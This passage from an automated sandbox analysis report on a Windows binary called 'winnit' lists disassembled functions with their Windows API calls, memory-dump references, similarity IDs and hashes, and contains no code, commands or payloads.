                                          • GetPixel.GDI32(00000000,00000000,00000000), ref: 00AEBE90
                                          • GetPixel.GDI32(00000000,?,00000000), ref: 00AEBEA9
                                          • GetPixel.GDI32(00000000,00000000,?), ref: 00AEBEC2
                                          • GetPixel.GDI32(00000000,?,?), ref: 00AEBEE2
                                          • ReleaseDC.USER32(?,00000000), ref: 00AEBEED
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
                                          • String ID:
                                          • API String ID: 1946975507-0
                                          • Opcode ID: 7d793c3916fabec61f85c0c5fcabad821a8910715aafaa620520d7d35253ddf8
                                          • Instruction ID: 17396092d6135c6c6b9942552563ce7c4ca7147dbe6eaf959b814b3a09868898
                                          • Opcode Fuzzy Hash: 7d793c3916fabec61f85c0c5fcabad821a8910715aafaa620520d7d35253ddf8
                                          • Instruction Fuzzy Hash: A8E03031504545AADF215F64FC0D7E83F10EB15332F108366FA69580E18B714980DB21
                                          Function 00B08712 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCurrentThread.KERNEL32 ref: 00B0871B
                                          • OpenThreadToken.ADVAPI32(00000000,?,?,?,00B082E6), ref: 00B08722
                                          • GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00B082E6), ref: 00B0872F
                                          • OpenProcessToken.ADVAPI32(00000000,?,?,?,00B082E6), ref: 00B08736
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: CurrentOpenProcessThreadToken
                                          • String ID:
                                          • API String ID: 3974789173-0
                                          • Opcode ID: 189400b2b4557a97fe7f58920064e16b330ad23e7f806df2de56901666252353
                                          • Instruction ID: 006dd363fdde4a1f319b4d415e2fac6c1dff5f65c6bee0e5236b333eb29e2199
                                          • Opcode Fuzzy Hash: 189400b2b4557a97fe7f58920064e16b330ad23e7f806df2de56901666252353
                                          • Instruction Fuzzy Hash: B6E08636A11212ABD7205FB45D0CB6B3BACEF50791F244868B289CB091DF348841C750
                                          Function 00B0B2F3 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 241comCOMMON
                                          Download Yara Rule
                                          APIs
                                          • OleSetContainedObject.OLE32(?,00000001), ref: 00B0B4BE
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ContainedObject
                                          • String ID: AutoIt3GUI$Container
                                          • API String ID: 3565006973-3941886329
                                          • Opcode ID: 12da5873e9ef005397e5970148367018b637dc955a8b4e7f0c5a8b0e46d1a120
                                          • Instruction ID: 68782939853c0c6c3f09569096d504a1bfa1a2b8faf3259f625edf3a7ffc6469
                                          • Opcode Fuzzy Hash: 12da5873e9ef005397e5970148367018b637dc955a8b4e7f0c5a8b0e46d1a120
                                          • Instruction Fuzzy Hash: 20913771600601AFDB14DF64C894F6ABBE9FF48710F2485AEE94ACB3A1DB70E941CB50
                                          Function 00B1AFAC Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00ACFC86: _wcscpy.LIBCMT ref: 00ACFCA9
                                            • Part of subcall function 00AB9837: __itow.LIBCMT ref: 00AB9862
                                            • Part of subcall function 00AB9837: __swprintf.LIBCMT ref: 00AB98AC
                                          • __wcsnicmp.LIBCMT ref: 00B1B02D
                                          • WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00B1B0F6
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
                                          • String ID: LPT
                                          • API String ID: 3222508074-1350329615
                                          • Opcode ID: c6955d856e25df52f5abf1f9f4ff280f7c90212c00f8a7c6ad20b70059a1d68f
                                          • Instruction ID: 7bdde363e152cb84dd287b3bfc909d7c8dcefef0d546228d2d42036a3e7c86d8
                                          • Opcode Fuzzy Hash: c6955d856e25df52f5abf1f9f4ff280f7c90212c00f8a7c6ad20b70059a1d68f
                                          • Instruction Fuzzy Hash: D8617075A10219AFCB14DF94C995EEEB7F9FF08310F5140A9F916AB2A1D770AE80CB50
                                          Function 00AC2957 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON
                                          Download Yara Rule
                                          APIs
                                          • Sleep.KERNEL32(00000000), ref: 00AC2968
                                          • GlobalMemoryStatusEx.KERNEL32(?), ref: 00AC2981
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: GlobalMemorySleepStatus
                                          • String ID: @
                                          • API String ID: 2783356886-2766056989
                                          • Opcode ID: f656246481ef02855e2c07637fd80104ac15103bd3c64920431a130d082657bf
                                          • Instruction ID: 929cf86c0c2fcdf08b45701d76e6ea22995d55664c2b6e2108fa29a87f65562e
                                          • Opcode Fuzzy Hash: f656246481ef02855e2c07637fd80104ac15103bd3c64920431a130d082657bf
                                          • Instruction Fuzzy Hash: FC5144724087449BD320AF54D886BEFBBECFB86345F41885DF2D8420A2DF309568CB66
                                          Function 00B19734 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB4F0B: __fread_nolock.LIBCMT ref: 00AB4F29
                                          • _wcscmp.LIBCMT ref: 00B19824
                                          • _wcscmp.LIBCMT ref: 00B19837
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _wcscmp$__fread_nolock
                                          • String ID: FILE
                                          • API String ID: 4029003684-3121273764
                                          • Opcode ID: 732c4ec0fc997507c58dbbadd87809cececd9e252a94cd5a12458bbee5e66af0
                                          • Instruction ID: fec6f0b60de134ef970588101c23133e044edb75e88a13eaa44dd50533d01714
                                          • Opcode Fuzzy Hash: 732c4ec0fc997507c58dbbadd87809cececd9e252a94cd5a12458bbee5e66af0
                                          • Instruction Fuzzy Hash: DB41C871A40249BADF209EA0CC56FEFBBFDDF89750F4004A9F904B7281DA71AD448B61
                                          Function 00B2258E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON
                                          Download Yara Rule
                                          APIs
                                          • _memset.LIBCMT ref: 00B2259E
                                          • InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00B225D4
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: CrackInternet_memset
                                          • String ID: |
                                          • API String ID: 1413715105-2343686810
                                          • Opcode ID: 92249b722c9ad577c78878cf6c03f5f805a3f0aba0d1ab08dfd59d09d92abc02
                                          • Instruction ID: f845431c8a618744c03e82d18e129c458f2102287038f2ba8afaf90eaa34ae34
                                          • Opcode Fuzzy Hash: 92249b722c9ad577c78878cf6c03f5f805a3f0aba0d1ab08dfd59d09d92abc02
                                          • Instruction Fuzzy Hash: 87312871800129EBDF01EFA0DD85EEEBFB8FF08310F100059F919A6162EB315956DB60
                                          Function 00B37A71 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(?,00001132,00000000,?), ref: 00B37B61
                                          • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00B37B76
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend
                                          • String ID: '
                                          • API String ID: 3850602802-1997036262
                                          • Opcode ID: d6db079ea575abd9314e1c16eb93437bd0cb71152f6ec7ed5effe7d1105296d1
                                          • Instruction ID: 93f02bd489144a6ae941c17c6bd4288632def6d2b6d21ffd74fa97a719d137af
                                          • Opcode Fuzzy Hash: d6db079ea575abd9314e1c16eb93437bd0cb71152f6ec7ed5effe7d1105296d1
                                          • Instruction Fuzzy Hash: D641FDB4A452099FDB24CF64D991BDABBF5FF09300F2441AAE904DB351EB70A951CF90
                                          Function 00B36A63 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON
                                          Download Yara Rule
                                          APIs
                                          • DestroyWindow.USER32(?,?,?,?), ref: 00B36B17
                                          • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00B36B53
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Window$DestroyMove
                                          • String ID: static
                                          • API String ID: 2139405536-2160076837
                                          • Opcode ID: 90b8cfcabac641ab7efd7454290bba7ff9c5af1115510a2db7f8bafb99a17663
                                          • Instruction ID: 9f99e7c6f33ee611749a0d34f88a6df753b3d2d38d381bd1a16a8cbaa049b79c
                                          • Opcode Fuzzy Hash: 90b8cfcabac641ab7efd7454290bba7ff9c5af1115510a2db7f8bafb99a17663
                                          • Instruction Fuzzy Hash: 5B316D71200604AEEB109F64CC81BFB77E9FF48760F208619F9A9D71A1DA31AC91CB60
                                          Function 00B128A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • _memset.LIBCMT ref: 00B12911
                                          • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00B1294C
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: InfoItemMenu_memset
                                          • String ID: 0
                                          • API String ID: 2223754486-4108050209
                                          • Opcode ID: 5a96b5a0e298ce087786432c811bc9adb59e9e260771fcdd7ebe76d3253fad59
                                          • Instruction ID: a86795dffaefadce6b9665a49dbc5bb2327a4c524bd59d3c5e7a08c82cbdbd75
                                          • Opcode Fuzzy Hash: 5a96b5a0e298ce087786432c811bc9adb59e9e260771fcdd7ebe76d3253fad59
                                          • Instruction Fuzzy Hash: 1231A531A003059FEF24CF5CC985BEEBBF5EF45390F5400B9E985A61A1D7709994CB51
                                          Function 00B239E9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON
                                          Download Yara Rule
                                          APIs
                                          • __snwprintf.LIBCMT ref: 00B23A66
                                            • Part of subcall function 00AB7DE1: _memmove.LIBCMT ref: 00AB7E22
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: __snwprintf_memmove
                                          • String ID: , $$AUTOITCALLVARIABLE%d
                                          • API String ID: 3506404897-2584243854
                                          • Opcode ID: e62e94f613c0ae147a6ea24bb50f17262954bd22980de29d016167dda4e84f50
                                          • Instruction ID: 96b0f9077fd6e034365b466b6adc0740685e22c1b92f14f435a57c651f284ff6
                                          • Opcode Fuzzy Hash: e62e94f613c0ae147a6ea24bb50f17262954bd22980de29d016167dda4e84f50
                                          • Instruction Fuzzy Hash: D9219331600219ABCF10EF64DC81EEE7BF9EF49700F5044A9F549A7192DB78EA45CB61
                                          Function 00B366D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00B36761
                                          • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00B3676C
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend
                                          • String ID: Combobox
                                          • API String ID: 3850602802-2096851135
                                          • Opcode ID: 07ea035ef1b1aa32f65dac121b589ee9a4c919d20fc7f14c910dbf8fa2c87abd
                                          • Instruction ID: fed27a22826ac57ef58afeb6f6f61612b58a2c23d3e59d813dd399ea39ab1b7a
                                          • Opcode Fuzzy Hash: 07ea035ef1b1aa32f65dac121b589ee9a4c919d20fc7f14c910dbf8fa2c87abd
                                          • Instruction Fuzzy Hash: 3211B271600208BFEF218F54CC81EFB37AAEB483A8F608169F91897290D671AC5187A0
                                          Function 00B36C07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00AB1D73
                                            • Part of subcall function 00AB1D35: GetStockObject.GDI32(00000011), ref: 00AB1D87
                                            • Part of subcall function 00AB1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00AB1D91
                                          • GetWindowRect.USER32(00000000,?), ref: 00B36C71
                                          • GetSysColor.USER32(00000012), ref: 00B36C8B
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Window$ColorCreateMessageObjectRectSendStock
                                          • String ID: static
                                          • API String ID: 1983116058-2160076837
                                          • Opcode ID: 3e1d969b60fb1d8a631f3a6f9c32705e1842c253da0372fae0340b0efd364eca
                                          • Instruction ID: fa606153a522144fca63a2e9e25bfa32c39b8f283ef38d543aedfb898ab90587
                                          • Opcode Fuzzy Hash: 3e1d969b60fb1d8a631f3a6f9c32705e1842c253da0372fae0340b0efd364eca
                                          • Instruction Fuzzy Hash: 52211472A1020AAFDB04DFA8CC45EFA7BE8FB08314F115669F995D3250DA35E850DB60
                                          Function 00B36920 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetWindowTextLengthW.USER32(00000000), ref: 00B369A2
                                          • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00B369B1
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: LengthMessageSendTextWindow
                                          • String ID: edit
                                          • API String ID: 2978978980-2167791130
                                          • Opcode ID: 2ef2ef1d079da0d51ab2ba685e2732d9e0cced09c4c28cb155a16cb65013c7e4
                                          • Instruction ID: efaf1eb5d6bf148825a02e724df7dc83a0949fd639df7e7822c68fd4e9ff65e1
                                          • Opcode Fuzzy Hash: 2ef2ef1d079da0d51ab2ba685e2732d9e0cced09c4c28cb155a16cb65013c7e4
                                          • Instruction Fuzzy Hash: DF116A71500209BBEB108E64DC85BFB3BA9EB19374F708764F9A5971E0CA71DC90A760
                                          Function 00B129AF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • _memset.LIBCMT ref: 00B12A22
                                          • GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00B12A41
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: InfoItemMenu_memset
                                          • String ID: 0
                                          • API String ID: 2223754486-4108050209
                                          • Opcode ID: b346af7e2ed1e8d18b8daa3881d850752934444dfdec599a42a8898bab43f5d1
                                          • Instruction ID: 04f25770a2976e48c600b14018ed0bb1f14ababc14817ff8c230519297713605
                                          • Opcode Fuzzy Hash: b346af7e2ed1e8d18b8daa3881d850752934444dfdec599a42a8898bab43f5d1
                                          • Instruction Fuzzy Hash: 0B11E232D21114ABDB34DB98DC44BEE73F8EF46300F9440A1E859E7290D770AD9ACB91
                                          Function 00B221D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON
                                          Download Yara Rule
                                          APIs
                                          • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00B2222C
                                          • InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00B22255
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Internet$OpenOption
                                          • String ID: <local>
                                          • API String ID: 942729171-4266983199
                                          • Opcode ID: 986b9a9407ebf5c1ba1d90117cf94986861181d4468631e4a5dbdf4a5313b6e0
                                          • Instruction ID: 15c05efc27d4d931edcdedaba6772104bc9b253d8d67926056de5838790d7318
                                          • Opcode Fuzzy Hash: 986b9a9407ebf5c1ba1d90117cf94986861181d4468631e4a5dbdf4a5313b6e0
                                          • Instruction Fuzzy Hash: 4F11E070541235FADB298F11ACC5EBBFBE8FF16351F1082AAF90896000D2716D90D6F0
                                          Function 00B08E05 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB7DE1: _memmove.LIBCMT ref: 00AB7E22
                                            • Part of subcall function 00B0AA99: GetClassNameW.USER32(?,?,000000FF), ref: 00B0AABC
                                          • SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00B08E73
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ClassMessageNameSend_memmove
                                          • String ID: ComboBox$ListBox
                                          • API String ID: 372448540-1403004172
                                          • Opcode ID: 482331c395d85c2b932bc1ab84279efe2dfa32c480e6a342f4529f5ce5e67104
